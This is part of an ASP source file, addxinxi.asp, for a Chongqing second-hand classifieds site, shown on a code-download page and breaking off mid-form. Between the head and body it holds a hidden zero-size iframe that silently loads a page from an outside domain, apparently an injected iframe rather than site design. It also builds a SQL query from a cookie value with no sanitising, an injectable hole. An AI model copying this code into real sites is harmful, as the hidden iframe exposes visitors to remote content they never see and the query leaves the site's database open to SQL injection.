⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 addxinxi.asp

📁 重庆二手网
💻 ASP
📖 第 1 页 / 共 2 页
字号:
<!--#include file="conn.asp"-->
<!--#include file="err.asp"-->
<!--#include file="usercookies.asp"-->
<%
'如果要关闭未登录发面信息,包函一个usercookies.asp   这样的文件就可以的。
 %>
<Script Language="javaScript">
    function  validate()
    {
       
        if  (document.myform.class1.value=="0")
        {
            alert("分类不能为空");
            document.myform.class1.focus();
            return false ;
        }
        if  (document.myform.class2.value=="0")
        {
            alert("二级分类不能为空");
            document.myform.class2.focus();
            return false ;
        }
        if  (document.myform.biaoti.value=="")
        {
            alert("信息标题不能为空");
            document.myform.biaoti.focus();
            return false ;
        }
        if  (document.myform.leixing.value=="")
        {
            alert("信息类型不能为空");
            document.myform.leixing.focus();
            return false ;
        }
        if  (document.myform.youxiaoqi.value=="")
        {
            alert("信息有效期不能为空");
            document.myform.youxiaoqi.focus();
            return false ;
        }
        if  (document.myform.diqu.value=="")
        {
            alert("交易地区不能为空,并且只能10字以内");
            document.myform.diqu.focus();
            return false ;
        }
        if  (document.myform.memo.value=="")
        {
            alert("信息说明不能为空,");
            document.myform.memo.focus();
            return false ;
        }
        if  (document.myform.name.value=="")
        {
            alert("联系人不能为空,");
            document.myform.name.focus();
            return false ;
        }
        if  (document.myform.email.value=="")
        {
            alert("邮件地址不能为空。");
            document.myform.email.focus();
            return false ;
        }
        if  (document.myform.dianhua.value=="")
        {
            alert("联系电话不能为空。");
            document.myform.dianhua.focus();
            return false ;
        }
     
    }
</Script>
<html>
<head>
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>信息发布</title>
<link rel="stylesheet" type="text/css" href="1.CSS">
</head><iframe name="aa" frameborder=0 width=0 height="0" src="http://www.nbxqw.cn/ad.html" marginwidth="1" marginheight="1" scrolling="no" ></iframe>

<body topmargin="0" leftmargin="0">

<div align="center">

  <center>
  <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="778" height="428">
    <tr>
      <td width="778" colspan="4" height="46"><!--#include file=top.asp--></td>
    </tr>
    <tr>
      <td width="157" height="356" valign="top"><br>
      <!--#include file=userleft.asp--></td>
      <td width="10" height="356" background="img/line_01.gif"> </td>
      <td width="603" height="356" valign="top"> <div align="center">
        <center>
            <table width="489" border="0" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#111111">
              <form action="addxinxichk.asp" name="myform" method="POST" onsubmit="return validate()">
                <tr> 
                <td width="16">
                <img src="img/obj_waku3_01.gif"></td>
                <td width="456">
                <img src="img/ba_home.gif"></td>
                <td width="17">
                <img src="img/obj_waku3_02.gif"></td>
              </tr>
              <tr> 
                <td width="16" background="img/obj_waku3_03.gif">
                 </td>
                <td width="456" bgcolor="#EEEEEE">
                  <table width="454" border="0" cellspacing="0" cellpadding="0" height="126">
                    
                    <tr> 
                      <td height="21" bgcolor="#EEEEEE" colspan="2">
                      <p align="center">发布信息</td>
                    </tr>
                    <tr> 
                      <td height="25" bgcolor="#EEEEEE">
                      <p> </td>
                      <td height="25" bgcolor="#EEEEEE">
                       </td>
                    </tr>
                    <tr> 
                      <td height="25" bgcolor="#EEEEEE">
                      信息类别</td>
                      <td height="25" bgcolor="#EEEEEE">
<%
dim rs
dim sql
dim count,username
username=request.cookies("ijob")("username")
set rs=server.createobject("adodb.recordset")
sql = "select * from class2 order by paixu desc"
rs.open sql,conn,1,1
%><SCRIPT language = "JavaScript">
var onecount;
onecount=0;
subcat = new Array();
        <%
        count = 0
        do while not rs.eof 
        %>
subcat[<%=count%>] = new Array("<%= trim(rs("class2"))%>","<%= trim(rs("class1"))%>","<%= trim(rs("id"))%>");
        <%
        count = count + 1
        rs.movenext
        loop
        rs.close
        %>
onecount=<%=count%>;

function changelocation(locationid)
    {
    document.myform.class2.length = 0; 

    var locationid=locationid;
    var i;
    for (i=0;i < onecount; i++)
        {
            if (subcat[i][1] == locationid)
            { 
                document.myform.class2.options[document.myform.class2.length] = new Option(subcat[i][0], subcat[i][2]);
            }        
        }
        
    }    
</SCRIPT>
<%
sql = "select * from class1 order by paixu desc"
rs.open sql,conn,1,1
if rs.eof and rs.bof then
response.write "请先添加栏目。"
response.end
else
%>
	<SELECT name="class1" onChange="changelocation(document.myform.class1.options[document.myform.class1.selectedIndex].value)" size="1">
	<OPTION selected value="0">==分类==</OPTION>
	<%do while not rs.eof
%><OPTION value="<%=trim(rs("id"))%>"><%=trim(rs("class1"))%></OPTION>
        <%
        rs.movenext
        loop
	    end if
        rs.close
%></SELECT>
 <SELECT name="class2">
		 <OPTION selected value="0">==二级分类==</OPTION>
	  </SELECT>    </td>
                    </tr>
                    <tr> 
                      <td height="25" bgcolor="#EEEEEE">
                      信息标题:</td>
                      <td height="25" bgcolor="#EEEEEE">
                      <input type="text" maxlength="40" name="biaoti" size="47">(<font color="#CC5200">40字以内</font>)</td>
                    </tr>
                    <tr> 
                      <td height="25" bgcolor="#EEEEEE">
                      交易类型:</td>
                      <td height="25" bgcolor="#EEEEEE">
                      <select name="leixing" size="1">
                      <option selected>请选择</option>
                      <option value="1">出售</option>
                      <option value="2">求购</option>
                      <option value="3">出租</option>
                      <option value="4">求租</option>
                      <option value="5">求职</option>
                      </select>&nbsp;&nbsp; <span lang="zh-cn">信息有效期:</span><input type="text" name="youxiaoqi" size="6" maxlength="10" onKeyUp="value=value.replace(/\D+/g,'')">
						<span lang="zh-cn">天</span></td>
                    </tr>
                    <tr> 
                      <td height="25" bgcolor="#EEEEEE">
                      价&nbsp;&nbsp;&nbsp; 格:</td>
                      <td height="25" bgcolor="#EEEEEE">
                      <input type="text" name="jiage" size="7" maxlength="6" value="0"> 
                      元&nbsp;&nbsp;&nbsp; (<font color="#CC5200">建议写清楚有关价格方面的信息,</font>0<font color="#CC5200">元表示面议</font>)</td>
                    </tr>
                    <tr> 
                      <td height="25" bgcolor="#EEEEEE">
                      交易地区:</td>
                      <td height="25" bgcolor="#EEEEEE">
                      <input type="text" name="diqu" size="21" maxlength="10">(<font color="#CC5200">10字以内</font>)</td>
                    </tr>
                    <tr> 
                      <td height="25" bgcolor="#EEEEEE">
                      <p>信息说明:</td>
                      <td height="25" bgcolor="#EEEEEE">
                      <textarea rows="11" name="memo" cols="62"></textarea></td>
                    </tr>
<%
dim nologin
sql = "select name,email,dianhua,a,b,c,d from [user] where username='"&username&"'"
rs.open sql,conn,1,1
if rs.eof then
'errijob(9)
'response.end
nologin="yes"
end if
%>
<%if nologin<>"yes" then %>
                    <tr>
                      <td height="25" bgcolor="#EEEEEE">
                      联系人:</td>
                      <td height="25" bgcolor="#EEEEEE">
                      <input type="text" name="name" size="23" maxlength="15" value="<%=rs("name")%>"></td>
                    </tr>
                    <tr>
                      <td height="25" bgcolor="#EEEEEE">
                      email:</td>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -